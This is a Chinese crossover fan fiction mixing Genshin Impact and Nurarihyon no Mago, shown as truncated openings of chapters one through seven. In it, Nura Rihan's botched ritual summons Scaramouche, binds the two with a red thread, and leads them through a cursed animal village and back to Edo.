《[原神+滑头鬼]风之归处》 1. 错误的召唤 《[原神+滑头鬼]风之归处》全本免费阅读 滴答、滴答…… 细雨攒成的水珠终于使得叶片不堪重负,从枝头滑落坠在其他的叶片上,坠在地上,坠在迷途旅人蓬松的黑发上。 吱呀—— 破旧腐朽的木门发出不堪重负的声音,随之扑面而来的积年灰尘飘散,让行在深山也穿着和服的旅人重重地打了个喷嚏。 奴良鲤伴揉了揉鼻子,心想着难道老爹他们这么多天终于发现自己不在了? 但天地可鉴,这次可跟他没关系。 殊不知自作了多情,在自己老爹心里远不如妻子重要的奴良组二代目走进门,看到屋内陈设,饶有兴趣地睁开了之前懒散阖着的左眼。 屋里的摆设很朴素,或者说——功利性过于明显了:一张长桌,一个蒲团,一本摊开的书,还有一些零落的诸如熏香之类的祭祀用具,没有一件东西是没用的。 哦呀哦呀……果然不出所料啊。上前翻看起书籍,大妖怪的金眸里划过一丝思索。那么只有一个问题了,这是巧合,抑或者也是幕后之人计划的一环? 他之所以会出现在这里还得从几日前说起。 那天他一如既往地在城里发挥着滑头鬼的天性,就偶然听见茶摊在议论着附近村落有奇异鬼怪之事。奴良鲤伴心生好奇,便跟着那砍柴人硬生生走了三天,穿过了数个大大小小的村子……倒也不是没发觉不对劲儿,只是三天都跟下来了,难道能在这时候放弃? 待到砍柴人终于回到了家,却不再见动作,等了大半日,“鲤先生”上前打听消息,对方倒是疑惑地给出了“从未离开村子”的答案。 如若是普通人类,定然惶恐不安,直到回到家中,夜不能寐地过了几日才能在市井讲出这段离奇经历,后又经过众人之口传出新的奇诡怪谈。 但这对于大妖怪来说,却只是激起了四日以来在心底积攒发酵的好奇。在村里转了一圈没发现什么异样,奴良鲤伴便循着故事里的山里去撞运气。 一进到山里,奴良鲤伴就察觉到这个山头灵力旺盛的不正常。按理说这类地方应该是那些清心寡欲的僧侣巫女阴阳师之类的最爱,但他可没听过这里有类似的传闻。 不论怎么样,在这种灵秀的地方,吃人的恶鬼大抵是没有了。于是他便想折回去村里问问,这里有什么隐士逸闻之类的——之前先入为主,他只顾着打听妖鬼之事了——接着一转身就发现——出不去了。 奴良鲤伴这才回想起来,进山的小路口好像确实有点不一样来着。他折回去寻找到了记忆里的地方,那儿竖着一块石碑,分开了村子和山里,他牢牢地被困在了“山里”。 迫于这种束缚,奴良鲤伴脚踩在“山里”的最后一分区域,前倾身子趴在石碑顶朝下看,只看到了被时光腐蚀后坚强残留下的几个字儿:[……]顶[……]寺。 “什么嘛,这不是根本什么信息也没留下么!”嘴里抱怨着,奴良鲤伴却也将去山顶看看这什么寺放在了计划清单里。 不过以防万一,他还是在这山下调查了一圈,发觉确实没什么值得注意的东西后,才朝着山顶进发。 —— “……我们赢了么?” 白色小东西的声音惊讶地响起,倒是压下了几分散兵刚刚取回那些记忆和情感后,自心中油然而生的复杂。 现在并非琢磨那些情感、回忆被愚弄的过去的时间。一切怀罪者终会迎来自己的业报,自己……当然也不例外。当然,现在有更重要的事情。 他短暂地闭上眼,遮住了眼眸中的情感,转过身下颔稍扬,一如曾经:“怎么……” 才刚启唇的话语被骤然产生的引力打断,他脸上惊讶一闪而逝,猛然跃开,将将闪过了无声无息出现的裂缝。 是深渊?不,不是这样的味道。散兵在闪躲间于心中飞速的判断,与此同时,他敏锐地察觉到,那道裂缝的捕捉对线,似乎……是自己? 思索间手下不停,数道风刃袭向裂缝,最好的结果也不过让其泛起了几分涟漪。 “这是什么东西啊!又发生了什么,那个大家伙不是已经被打倒了吗!”裂缝越发扩大,引力也越发强劲,白色小东西的声音在此刻有些扰人起来。 散兵看向金发旅行者,利用着岩元素力对方还能有所坚持,但谁也不知道这什么时候是尽头,破局点又在何方。 靠布耶尔?不,这绝非依靠神明之刻。它的目标是自己,旅行者不过是被殃及的池鱼,这结论从对自己方向的引力要更强不少就能轻易得出。他的心中不知为何泛起淡淡的明悟,那不知道是什么东西的裂缝,不达成目的是绝不会消失的。 在得出了结论后,也没什么好值得犹豫的了。散兵朝着平整地面跃去的身影在空中猛地一折,风元素力加引力,使他的身体以更快的速度朝着裂缝飞去。 侧过头果不其然发现了旅行者正打算前冲的身影,他抬起手,唇角上翘,声音带着刻意的恶意:“啧,你总是这么爱多管闲事么?” 逆着引力飞射而出的风刃化为一道冲击将旅行者的身体击退几分,正错过了唯一的时机,与其同时,人偶的身影也被裂缝完全吞噬殆尽。 “你没事吧!”派蒙顾不得其他,飞到旅行者的面前急切地问道。 “我没事,他……”旅行者看着已经恢复平静的破碎场地,刚刚那道风刃不过徒有其表,如一道无害的清风拂过一般。 “那家伙……” —— “……吾愿清净,诚心昭昭……” 这祷词也太长了吧。烟雾缭绕之间,念诵着祷词的大妖怪,没有半分敬畏地想到。 丝毫不管幕后之人是否对自己有什么算计的奴良鲤伴,在一刻钟前颇为自觉地捧起那本摊开的书阅读了起来。感谢他的母亲璎姬曾经是公主大人,若非如此,他恐怕还读不下这本修辞运用过多,以至于累赘的书。 …… “……天地之隅,迎神灵降临……” 这地方就算能请神,能请到什么神?如果是土地神的话也太对不起这 2. 村庄 《[原神+滑头鬼]风之归处》全本免费阅读 但他不会让无意义的情感冲昏头脑,况且对方从未掩饰过溢出的戏谑之意。 不过他也没打算陪对方装傻作乐下去。 散兵拾起一起被卷过来的斗笠,抚去尘土,戴回头上,他调整了一下位置,瞥过眼,用散漫而充满讽意的腔调道: “油腔滑调的妖怪,那你又是什么东西呢?” 角落的妖怪并没有显露出种族的特征,相反倒是一身看起来就造价不菲的和服,倒是和某位眼里只有一个人——准确说一位神的宫司大人一样。思及此,他又忍不住嗤笑一声。 “呵。既生为异种,还对成为人类抱有期待么?还是说混迹于人群,以脆弱的种群为乐子,正是你的本性?” 这样的言辞,对于曾遭受过认为“人类的血统玷污了妖怪的力量”的守旧派妖怪攻讦的奴良鲤伴来说,实在是不痛不痒,毕竟—— 对方会来到这地方,也的确全都是自己的责任。 所以他并未对少年的冒犯言语多加上心,而是意气风发地宣告道: “我是半妖喔。正恰恰相反,我的奴良组可是守护江户,庇护人类和妖怪的组织!” 黑发的大妖怪神采飞扬的模样被人偶收入眼底,同时站在两边也意味着被双方同时拒绝,正如似人却非人之物,与人终究是不同的。不过这种怀抱着可笑的理想又意志坚定的家伙,正是他最不擅长应对的那种蠢货。对于这种单纯的家伙他也懒得计较太多,当务之急是—— 风刃随心意而动,划破空气击在两人之间那根相连的红线上。 而那根看起来纤细脆弱的红线,好像只是被微风轻轻抚动一般,飘飘乎的荡了几下便又归于平静。 与此同时,小臂上传来一阵疼痛,散兵下意识抬起手,手甲上并无异常,当刚刚那道试探性的攻击无疑切切实实地传递到了自己的身上。 “有意思。”奴良鲤伴凑上前,在散兵开口制止他之前,用事实证明了这条莫名的红线收缩距离存在一个下限——两人间约莫能走下两个身材正常的成年男子——免于了不得不“手挽手”亲密行走的窘境。 伴随着一声轻鸣,弥弥切丸锐利的刀锋斩出,毫不意外地只是为那身和服朝着报废的深渊添上了决定性的一笔。奴良鲤伴若有所思地收刀入鞘。 “或许,能劳驾讲讲之前到底发生了什么?” “奴良鲤伴,我的名字。”黑发的妖怪收回了发散的思绪,答非所问道。 散兵眯起眼眸,察觉到对面坚定的态度,率先朝着门口走去,声音冷淡:“我过去的名字很多,但于今而言都不再适用,如果你执意的话,可以叫我散兵。” “那这可说来话长了。”奴良鲤伴并不想体验被人拉着走——莫名地他就是觉得少年应该有这样和身躯不符的力气——跟上了步伐后,熟门熟路地介绍道,“我们可以直接下山,这里我已经翻了一个遍了,光秃秃的什么也没有。下山的路上我们有足够的时间。” 散兵不置可否,奴良鲤伴也不在意对方是否回应,便将自己怎么到这儿来讲述得清楚。 …… “……所以,你就直接拿起来按照上面的要求举行仪式了?”散兵竭尽全力让自己不显得咬牙切齿,沾上了神明的事情就格外的麻烦,他已经不对短期内能够回到须弥抱以期待了。 不对,自己真的还有必要回须弥么?并没有需要自己的人,不如说自己不在,对他们来说才更为合适。至于博士……那个狡猾的家伙定不会轻易死去,想必足以撑到自己亲自解恨的那日。 油然而生的疑问蔓上心头,而没等他得出结论—— “反正也不会有什么损失吧~看起来也不是什么邪恶的东西,最差也就是召唤个妖鬼之类的,咳……” 面对着“受害者”几乎化为实质的视线,奴良鲤伴的视线也忍不住游移了一下,“别担心,我会负起责任的。” “等回到了江户,我就以奴良组的名义发 3. 半成品 《[原神+滑头鬼]风之归处》全本免费阅读 “如果是在妖怪的世界来说是正常,倒也合理。”散兵假惺惺的“好心”为其找补,“不过奴良先生在向其他人描述之时,还是不要忘了妖怪之外还有其他种族比较好。” 眼前的村庄看起来和稻妻的村庄并无太大差别,只看最眼前最近的几家也能感受到这个村落对生活的认真,院子里收拾的井井有条,过长的杂草被清理的很干净,房子旁边放在形状圆润的陶罐,虽然没有复杂的花纹,但是能从朴素的痕迹上看得出来制作者的努力。 ——如果不是“村民”都是身材硕大、直立行走的山林动物,过长的杂草存在被院落主人加餐吃掉的可能,陶罐上朴素的痕迹并非是“爪印”的话。 换个角度,这些松鼠、兔子、狐狸之类的话……在后者能克制住本性,没有捕食前者的情况下,这种和谐相处的环境,称为“闲适美好的田园生活”倒也没错。 “诶呀……我离开的时候可不是这样的。”妖怪睁大的双眼眨了眨,他挠了挠头发,“不过这也也清楚明了起来了,本来我也打算回程的时候再调查一番那个奇怪的砍柴人,现在反而省去不少功夫。” 直接扯去伪装自然是对方的目的达到了,接下来不管是打是谈,都比之前硬装普通人时来的轻快。 散兵看着怀抱着木盆走出门的松鼠,蓬松的大尾巴在模仿人类生活时显然得到了额外的照料,油亮蓬松,看起来有些眼熟,他若有所思的目光在看到大妖怪被束起后仍过分蓬松的黑发,愉快的勾起唇角,“走吧,自认聪明的松鼠先生。” 奴良鲤伴自然也看到了那只松鼠,听到对方终于不在用那种虚伪的腔调,也略弯眼眸,朝着那砍柴人所在行走的路上,为自己澄清:“我是滑头鬼,松鼠的话……这种柔软的妖怪很难统领百鬼吧。” 散兵想到滑头鬼的记载,又回想起若非是莫名红线的指引,自己当时确实并未发现屋子里还有另一个人,“难怪。” 和稻妻在不少地方上都有重合呢……是曾和稻妻有所关联的地方么。散兵思索着,还需要书籍和进入城市后才能发现更多吧。 不需要奴良鲤伴带路,也能很容易的找到砍柴人所在。这个把奴良鲤伴引过去的人并没有掩饰自己的意图,顺着村子里的大路走,唯一大开着院门的那个便是。 和其他村民的院子不同,这个院子并没有动物留下的痕迹。内屋的门没有挂锁,欲迎还拒的合拢着。散兵正打算直接进去,奴良鲤伴却是身形飘忽了一瞬,再出现时,便已经站在了离进到屋内一步之遥的地方。 半闭着一只眼的妖怪侧过头,带着笑意快速的眨了一下另一只眼,“打头阵的机会还是交给我这个被安排了一路活儿的受害人吧。” 看在对方记得注意着红线的长度,没再重蹈山上的覆辙,散兵以一声轻哼表示了默认。 虽然说的很轻松,但奴良鲤伴并没有放松警惕,离得这么近,他还是如来时一样,没有感受到半分妖气灵力,而作为滑头鬼他可是对这些遮掩的幻术有着天然的敏感性的。 “打扰了——!”能有这么正大光明的上门拜访可真是不多见。奴良鲤伴一边想着一边伸手推开门,“被骗的债主上门了喔!” 他念完那段祷词时还是早上,经过一番折腾,下山到这个村落后太阳已再度昏昏欲睡,昏暗温暖的橙黄色的光芒从逐渐开启的门扉中进入室内,照亮了朴素小屋内的景象。 ——冰冷,洁净,没有人气。 这是两人对这间屋子最大的印象。 屋子里的床正对着大门,脸色苍白,瘦骨嶙峋的青年盖着薄被带着浅淡的微笑看着来人。 或许是逢魔之刻带来的氛围,这场景看起来有点诡异,但好在在场的人里并没有会因此恐惧的。 “这么短时间没见,小哥你现在一定有很多想说的吧。” 奴良鲤伴低沉的声音打破了短暂的平静。 这点倒是也很像。散兵微微侧目,自相遇以来都像个好脾气的人类,终于也露出了妖怪的一面么。 “的确。” < 4. 强制买卖 《[原神+滑头鬼]风之归处》全本免费阅读 空气短暂的寂静。 “是啊,是啊。但那又如何,我依然做到了,我满足了他们的愿望。” 青年看起来毫不在意的耸了耸肩,这让他的身体更看起来要散架了一样,他的目光定定的看着散兵,少年的身影映在他无神的眼中,“可惜被你毁了呢。” “哈?血口喷人也该有个限度吧。”散兵自认不是什么好人,但是因为没做过的事情被指责,倒是少见,他忍不住冷笑一声抱臂道,“受害者的位置也该是我站过去吧。” “的确也是。所以我会给予你补偿,不用着急。” “时间不多了啊……我残缺的原因可并非是因为生来如此……只是被愿望提前唤醒了而已。”他又带着几分神经质笑起来,“但为什么没有回归呢我的力量,明明是从那些人手里找到的书啊、从期待着我们降生的他们的手中。” “是因为我这样遭受了厌弃吗?是因为我在最开始就被束缚住了吗?” 他的语速很快,声音却不大,但他的动作就像是定格一样,死死的盯着散兵的方向,那双无神的眼睛真的还能看到东西吗?也许只有他自己还清楚。 “在看到你的那一刻,我明白了。” “原来是有了‘更合适的容器’啊。” “所以结束了。”他似哭似喜,声音里半是诅咒,半是祝福,“走下去吧,补全它,补全自己。” “‘悟苦无生大觉’。” …… “能吃了,要尝尝吗?” 奴良鲤伴把携带的盐洒在被烤的油光发亮的兔肉上,打算递给身边的少年。 散兵正把玩着一枚泪状宝石,借着火光,这枚形状圆润的宝石看起来清透无比,又带着一丝淡淡的蓝意,这是那个村庄,那个半成品留下的东西。 当那个半成品轻声说完最后一句话,他的身躯在顷刻间便消失了最后一丝生机,下一瞬便在两人面前化为一缕青烟朝着外面逸散而出,和同样莫名其妙的奴良鲤伴对视一眼后,两人先手跟着追了上去。 而那股青烟并未消散,它只是停在半空中,无数丝丝缕缕,颜色各异的细微丝线便从那些如人一样生存的动物身上析出。它们将青烟围在中心,缠绕涌动,在第一缕月光照耀下时,化为了这枚宝石,精准的坠在了散兵摊开的手心里。 而那些动物村民,也回归了它们应该有的大小。 “不用,我不需要进食。” “你在想那个人的话?” “谁会在意疯子的呓语……不过他的话可以证明,起码你没有真的对着书也念错。” “啊啊……本来就不可能嘛,谁会对着书也念错啊。”奴良鲤伴拿着匕首将兔肉分割成更小块的手不着痕迹的一顿,自信道,“虽然到不了像贵族一样随口就能作出和歌的地步,但是总不至于祷词都念错。” “嗯哼,有文化的妖怪,来看看,那些动物村民,都是它的力量呢。”散兵没注意到奴良鲤伴的心虚,那枚宝石被他捏着尖端展示给奴良鲤伴,“将附近的动物的生命力聚集,便形成了那体型庞大的样子,还真是自私的手段啊。” “原来如此,难怪山里没有其他动物。”奴良鲤伴咬了一口割开的兔肉,这只兔子还是他们不想在那个村子过夜,走出好一段距离才抓到的。在山上的时候他也察觉到了那儿安静的过分,但那个时候他先入为主的觉得是山上居住着其他人或者妖怪了。 在野外能吃到这样的食物已实属不错,但还是远不如城里……果然还是好想早点回到江户啊。也好早些派人去调查那本书的事情,听那个青年的意思,这也他从什么组织手里得到的。 “从那些村民的习惯看,他们应该不是这个时代的人吧。”但乡下的生活比较缓慢,生活习俗上更新换代也更慢,很难分辨到底的多久之前的事情。 “不然那座山里怎么干干净净的?”散兵扯了扯嘴角,笑意不达眼底,“他对那些人倒是上心,在这方面的确可以称为称职的神明。” “不过应该也没有太久。那些人——或者说外表还算是人的东西,在我们见到的时候,汲取的生命力已经大多数都是那家伙的了。他不能离开太久,能被用来供能的动物都消耗干净了。” 散兵摊了摊手,带着嘲讽似的同情,“可惜你这个他刻意引来的‘救世主’反而推了最后一把呢。” “之前并不是幻术?”奴良鲤伴从他的话语捕捉到了关键信息,“但刚刚你也说了体型庞大动物吧。” “因为目的是‘活着’,所以外表是力量不足最先失效的那一部分啊。”散兵漫不经心道,他收起那块宝石,或者说“生”。 这块代表着“生”力量的宝石,却是造成动物死亡,人类挣扎于生死之间的根源,真可笑。 “也许他们曾经是为了活下去而向他祈祷,但那种形态还算是活着么?” “也算是为他们实现了心愿吧……”只是这种站在其他生命上来完成的心愿太过罪恶了,如果最后他没有消散,作为领导奴良组的二代目,也不能任由这个村子继续存续下去。 “世界上哪儿有那么美好的事——他们的‘生命’只有一天。”散兵注视着火堆,凉凉道,“在清晨醒来,又在暮色中死去。他们拥有着这一天之前所有的记忆,却再也迈不向新的一天。” “啊,在独断专横上,这一点也是合格的神明呢。” “不知道他们会不会后悔呢,向他祈祷这件事。” “听起来像是承受不住愿望,在逼疯了自己之后又把灾难带给了其他人啊。不过正常神,应该不会有这么强的实现信徒愿望的想法吧。”奴良鲤伴侧过头,若有所思的道,“嗯……你常说的神明应该也不是他那种应心愿而生的弱小神祇吧。” “当然不是。但他也不是应心愿而生的神。”散兵想起来被莫名赋予的责任 5. 江户 《[原神+滑头鬼]风之归处》全本免费阅读 “话说,那家伙应该不是人类吧,为什么老老实实地走了那么多天?反正当时的我怎么都会跟上吧。”返回江户的路上,奴良鲤伴问道。 这倒是比之前来得方便得多。一边在低空飞行,一边借此感受掌控风元素力的散兵漫不经心地解答:“啊,他那个时候是人类。都付出了那么多,如果连一场真实的梦都做不了,也未免太过可怜了。只不过,他是唯一的清醒者,甘之如饴地承受着清醒的痛苦。” “……简直是双向的折磨啊。” 散兵对此只是不置可否的嗤笑了一声,对于这种饮鸩止渴,将虚无缥缈的可能作为救命稻草的可笑行为,作为旁观者他不赞同,但成为主角登台的时候,未必不会做出相似的举动。 …… 虽然奴良鲤伴追着化为砍柴人的半成品神明走了有几天,但那只是人类的速度罢了,当两人放开赶路时,便无需再花费那么久了。 江户作为这个时代最繁华的城市,进入城门之后便是一片热闹的景象,游人如织,马车往来,两侧的店铺上挂着各式各样的招牌。 是和稻妻相似又不同的模样啊。散兵看向两侧的建筑想到,一样偏好木质结构,在屋顶覆盖着瓦片或木板,不同的是到底是神明所坐镇的城市,在氛围比江户威严的同时,也相应地压抑了一些生机。 或许是时常都有穿着各异来到江户的外地人,散兵和周围人格格不入的穿着也只是引起了一些好奇的目光,而他对这种情况接受良好,早已习以为常。 比起来更吸引一些人注意的倒是身边一回到江户后,就整个人放松下来的大妖怪。 “你喜欢吃什么样的东西?日本桥*那边有很多店铺,你想要的应该都能找到喔。”奴良鲤伴一手搭在他的肩上,弯下腰小声嘀嘀咕咕道,“至于妖怪的店铺,多半晚上才会营业,怎么样,今晚要一起去逛逛吗?” 沉浸在自己的思绪里错过了躲开的第一时间,便只能任由属于他人的体温入侵了自己的领地,习惯了被畏惧的目光注视,而不习惯与人过分亲密的散兵有些说不清的不适,他扬起假笑,邀请道:“好啊。我喜欢苦味的东西,越苦越好,届时就劳烦奴良先生带路,一起品鉴江户滋味儿了。” 手臂一揽,几乎将少年将将搂在自己怀里,看向散兵的同时右手抬起打了个响指,“竟然不喜欢甜食嘛,不过也没关系,总能找到合适的。那就先回家吧,也好早一点开始派人出去查探消息。” “你不觉得有很多人在关注我们吗,也该收起尾巴了吧,奴良鲤伴。”他再习惯被人注视,也并非是这种形式的注视。况且,那个楼顶房脊后面半藏着的,绝对不是人类吧。能如此心平气和地发言,对方真得感谢这大街上往来的人群。 “哎呀,别这样说,我还没真的打开呢。”奴良鲤伴无辜地起身,“说起来你为什么不直接叫我名字,我们好歹也是即将在一起那么久的同伴啊。” “被你强买强卖的同伴。”散兵贴心地为其补全了内容。 “鲤伴大人!” 奴良鲤伴刚刚想继续争取一下对方别在冷冰冰的用生疏称呼自己,听到声音望向传来呼声的方向,就看到一片金灿灿的头发在太阳光下散发着耀眼的光泽。 “看起来有什么事情啊……”奴良鲤伴摸着下巴思索了一下,又看了看人群,突然一把拉住散兵和他红线相连的那只手,带着对方朝着人少的阴影中走去。 “喔?” 在散兵下意识想挥开前,金眸妖怪投过了一个拜托的眼神,他轻轻“啧”了一声,任由大妖怪带着他走向背街。 奴良鲤伴确定摆脱了路人的视线后,轻轻一笑。 下一瞬散兵就感觉有什么轻盈的力量如薄纱一般覆盖在了自己身上。 他看向了奴良鲤伴,似乎并未发生什么变化,但很快一个猜测涌上心头。 “鲤伴大人?” 首无从房顶字面意义地探出头,左右晃了晃寻找着明明走进来奴良组二代目,“先代在找您啊!跑哪儿去了啊。” “哟,老爹还能找我有事儿?”奴良鲤伴获得了满意的结果,解除了明镜止水,两人的身影同时显现了出来。 虽然离开了一段时间,但是从刚刚进入江户的感受来看,并没有什么不安之类的负面情绪滋生。 不是江户的事情的话,“母亲生辰快到了,老爹是打算开一场聚会么?那确定应该早些筹办。” “先代的事情我怎么会知道啊……您是离开江户了吗,我们找了你几天了。”首无抱怨的同时用好奇的目光打量着奴良鲤伴身边的人,毕竟那条红线实在太显眼了。 “这位是?” “这是我的……呃朋友,”奴良鲤伴犹豫了一瞬两人的关系——得到了一声洞悉了般的冷笑——他立马从怀中摸出那本在山顶寺庙拿到的书,“你来得正好,帮我调查一下这东西是哪个组织的东西吧。” “先让组里其他人看看,如果没人认识的话就联系花开院家询问一下吧。” 首无接过之后大概翻了一下,“……这种东西大概要看花开院那边了吧。听起来很重要啊,您是怎么得到这东西的?” “当然是捡到的。” 首无一时没反应过来这并非是自家总大将的声音,顺着接道,“啊,是有什么用处么,组里没有这种召请神明的经验……话说回来的,再怎么说妖怪去召请神明也太奇怪了吧。” 散兵唇角轻勾,眸中溢满了笑意,他仰头看着奴良鲤伴,双眸在柔软的阳光下如紫水晶一样明透,声音带着只有两人才明白的讽意,“我也这么觉得。” 他轻笑了一声,缓慢地复述道,“妖怪去念诵这样的东西,还全套完成仪式了,也太奇怪了吧。” “是……”首无在下意识附和前意识到了什么,本来在前面带路的他扭过头看向了奴良鲤伴,只对上了一双同样弯起的眼眸。首无突然有些不好的预感—— “这件事就交给你了。” “现在有的情报除了这本书,还有对方或许已经存在很久了。” “要努力啊~首无。” —— 奴良组的宅子坐落在江户一处不错的地段,高门大户,从外表上很难想到这里是属于妖怪的宅邸。 “先代就在屋里,我去找人看看有没有见过这本书的。” 首无挥了挥手中的残本,便顺着另一侧离去了。 “得先去见我老爹看看他要做什么,不过别担心,组里的妖怪有没有听过那个组织的消息,应该很快就能有结果。”奴良鲤伴带着散兵朝里面走去,顺便解释了一下现在的情况。 “我不着急。” 散兵说道,声音平静毫无波澜。这几天发生的事情复杂而紧促,梳理那些被塞进来的记忆也耗费了不少精神,如今一失去目标,他反而陷入了前所未有的迷茫。 不同于须弥时的迷茫,在明确了一切之后,事情反而更棘手起来。 倘若无人期待,是否还需要追寻回去的办法呢?从那段记忆可以推断,这里恐怕并非提瓦特。找回力量能做到的也只是解开红线而已,是否能够跨越时空还是个问题——不如说那场成功跨越了失控的召唤才是意外。 他不缺少时间,只是,或许,他不再寻找回去的方法才是最好的? “毕竟这对于一介闲人来说带来的困扰有限,”察觉到奴良鲤伴正在用担忧的表情看着他,散兵条件反射性地遮掩住了眸底情绪,抬了抬右腕,凉凉开口,“但是对于奴良组的总大将就麻烦了,对吧。” “所以不必担心。”奴良鲤伴也配合得像是什么也没察觉,心下因为一时好奇把人牵扯进来的愧疚又添了几分,略带着安抚性地拍了拍对方的肩,“都交给我吧。” “哈。”这次是散兵没有闪躲,他勾了勾唇,“很有信心嘛。” …… “我回来了,老爹。” 奴良鲤伴拉开门,带着散兵走进了屋内,奴良滑瓢捏着烟杆正坐在主位,身边是正襟危坐的鸦天狗。 “哟,这么严肃是发生了什么?” 奴良鲤伴带着散兵在下首坐下,虽然这么问,但既然没有别的干部,就应该不是什么大事儿。不如说这架势,更像是…… “鲤伴啊,我的确有一件事要拜托你去办。” 奴良滑瓢吐出一口烟 6. 实验 《[原神+滑头鬼]风之归处》全本免费阅读 奴良鲤伴侧首,半闭着的眼眸带着笑意一摊右手,一套动作流畅潇洒,言语却是直指中心:“哎呀哎呀……你不是也知道我不是松鼠嘛,在这一点我们扯平了。” 散兵唇线微动,但在他开口之前,奴良鲤伴就自然地拉过他的手,拎起被打包好的礼品走向城门,岔开话题,“没想到刚回家就被赶出家门了,还好一开始就把任务交给首无了。” 轻哼了一声放过了对方,“那现在我们要去什么地方呢,要在桥洞统领江户吗,二代目大人。” 他将声音放得柔软,带着笑意的同时又在称呼对方时特意放重了音,用恶趣味弥补上了被打断的不满。 “诶——这确实是个麻烦的事情啊。”奴良鲤伴见他放过了这事,便配合露出一副苦恼的样子,“老爹那个朋友家倒是不远,我们应该还来得及在夜晚抵达?就是不知道主人家是否介意这样的失礼了。” 对于滑头鬼自然不缺地方过夜,他在江户这种自家地盘上可是有着丰富的(被催债)经验。但他也有自己的思考:老爹为什么那么急着把自己推出门? 访友这种事情,交给自己代劳自然无可厚非,但是急到自己一回来连顿饭都没得蹭就有些不正常了。牛鬼准备东西的速度也太快了,应当是自己回来之前就开始筹备了。 “我不知道在江户夜晚访客是否失礼。”散兵依旧以那副温和有礼的腔调——但这声音听得奴良鲤伴只觉得一阵阴冷——说道,“但在江户一直扯着别人,恐怕并非是有礼的行为吧。” 奴良鲤伴这才发现从家门口开始,少年的手一直被自己握在手里,他看着被手甲无缝包裹着的掌心,黑色金属泛着冷光,和柔软白皙的手指形成鲜明的对比。身体快于意识,在产生好奇的那一瞬间,奴良鲤伴就忍不住轻轻摩挲了下少年掌心—— “怎么样,有趣么?” 散兵低笑一声,猛地抽出手上扬,并指以掌心为刃,斩向仿佛还在回忆刚刚滋味儿的妖怪还没收回的手腕。 好在敏捷也是滑头鬼所擅长的,奴良鲤伴即时撤回,躲过攻击下一瞬便想要重新抓住对方的手臂制止接下来可能发生的打斗,但察觉到了他意图的风刃封锁住了他的行动,他只好抽身朝后撤了一步。 红线因两人动作随之飘飘荡荡,奴良鲤伴反应迅速,并不代表着两人之间相连的红线也有着过人的速度,随着惯性向上飘扬,而那道被躲开的风刃也在某种心思下特意向上,正正巧巧相撞。 “……很好。”散兵唇线上扬,露出了一个半笑不笑的弧度。 完了……不对。奴良鲤伴看着他光滑的手甲,上面没有半分伤口,而当他觉得事情或许还没那么糟糕的时候,他视线下移,对方原本光滑的膝上三分多了一条正在淌血的伤口。 这下是真的完了。他想到。 位置变了。散兵的心情倒是一般,谈不上过多的愤怒或是其他,不管是人类还是妖怪,对于异类都充斥着丰沛的好奇心,这种流于表面、清晰好懂的直白情感最是简单,应付起来并不费力,无需过多关注。而那条红线带来的改变就不一样了。 他弯腰摸了摸那道伤口,并不深,血也已经支住了。但他的身体强度本就不同于人类或是妖怪的血肉之躯,想要造成这种伤口可不容易,刚刚那道风刃,由于身在城内,他有意控制了方向和强度,不该造成这样的伤口才对。 他一边判断着情况,一边做出了对比:要说的话,斩在人类身上或许能有同样的效果。 从包裹中翻出了伤药,一转头就看到对方手指就这样冲着伤口而去,奴良鲤伴连忙试图阻拦住对方,“别……” 却见那只手朝着他伸了过来,他望过去,紫色的双眸眯起,背着光看不清对方脸上的神色:“怎么,给你看个够又不愿意了,真是变化无常的妖怪啊。” …… 温度恰好的水打湿了帕子,柔软湿润的布料轻轻拭过曾经的伤口,将血迹擦去。 这种温柔的感触却令散兵忍不住抬起手想要压低帽檐,只是抬起手才想起来一进隔间就把斗笠摘了下来放在了桌边,抬起的手只能支在桌子上,脸颊抵在手掌上,他垂眸看向蹲在地上的妖怪。 “都说了无需介怀,我非凡胎,这点小伤愈合想要也不过转瞬。”散兵故作慵懒的移开眼,桌上沏好的茶伴随着袅袅青烟散发出令人宁静的清香,这是他们在就近找了一家店后,大妖怪最先点的。 “这样讨好我,可什么也得不到喔?” “确实恢复的很好。”奴良鲤伴站起身走至对面坐下,“比得上很多以生命力著称的妖怪了。” 他注意到少年拖着脸颊的手掌,白与黑的衔接极为自然,愈发衬的白的越白,黑的越黑,为战斗而准备的手甲看起来有多么冷硬,便显得手指有多么白皙。不过同时回忆起来的还有手刀带起的破空声,奴良鲤伴目光游移了一下,“啊……我只是有些好奇,毕竟你看起来完全是人类,但是……” “妖怪不也有很多看起来和人类完全一样的?”散兵轻哼一声,目光停在对面人身上,如果要说的话,对面的奴良鲤伴才是完全和人类一样的存在吧? “看在我的心情不错的份上,再说这也没什么好隐瞒的。”虽然这样说,但他的声音无疑冰冷了几分,又带上了消失已久的讽意,“我是人偶,因为毫无价值而被抛弃的造物。” 但召唤时属于神明的气息亦绝非假冒……绝非那么简单。思绪一闪而过,便被奴良鲤伴压下,他将茶杯小心地朝着对面推进了一些,弯了弯眼眸,“那正好,我是马上要露宿街头的奴良组二代目。” 大妖怪平日里流露出一股恣意妄为,但倒是会审时度势,并不引人讨厌。散兵想到,他就着这个姿势,抬眼看向奴良鲤伴,“哈,那为了我们不一起露宿街头,已经无家可归的 7. 姬君 《[原神+滑头鬼]风之归处》全本免费阅读 “笃笃笃。” 轻响打破了黑夜的寂静,门房从半梦半醒中惊醒过来,匆匆行至门前,打开了小门,看见是一高一低两个身影,略微放心,询问道: “不知深夜到访,来者何人?” “来参加你家老爷寿宴的友人之子。眼见日期将至,便匆匆启程,不曾料想许久未来此地,错估了路上的时间。” 来客的声音听起来清朗有礼,一听便知不是粗鄙之人,门房不由得信服了八成,但还是确定了一番来人的姓名确实在受邀名单上,才动作麻利地打开了大门。 “贵客见谅,最近周围有些不太平,这深更半夜的,小人难免谨慎了些。” 门房恭敬地打开门,终于看清了来客全貌:身材高挑的青年男子一头黑发,所着衣物的料子在烛火下散发着柔和的光泽,看起来就价值不菲。虽然声称匆忙出行,但其面上不显半分仓促萎靡。门房多年来迎来送往,从细微之处便可认定对方必定出身富贵,虽不知为什么独身前来而未带随行侍从,但贵人的想法总是难以捉摸的。 他的腰更低了一些,“刚刚已经传唤过侍女了,请你们稍作等待。” 这旁边有一道小铃,只需一拉就能唤醒轮值的侍女,十分便利。 在等待的期间,门房用余光打量起另一位客人:他略落后这位客人一步,神态却并不像是从属——也不会有贵人出行选择带着少年人而非是身强力壮的护卫吧。从穿着上看衣料也绝非那种便宜货,但是形制确实颇为古怪,说是修验者的话又怎么看都不是方便在山中行走的样子。 